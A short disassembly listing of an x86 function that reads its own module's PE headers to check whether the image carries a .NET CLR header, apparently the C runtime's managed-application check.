call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40185a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40185a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40185a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40185a
cmp dword [ecx + 0x74], 0xe
jbe 0x40185a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret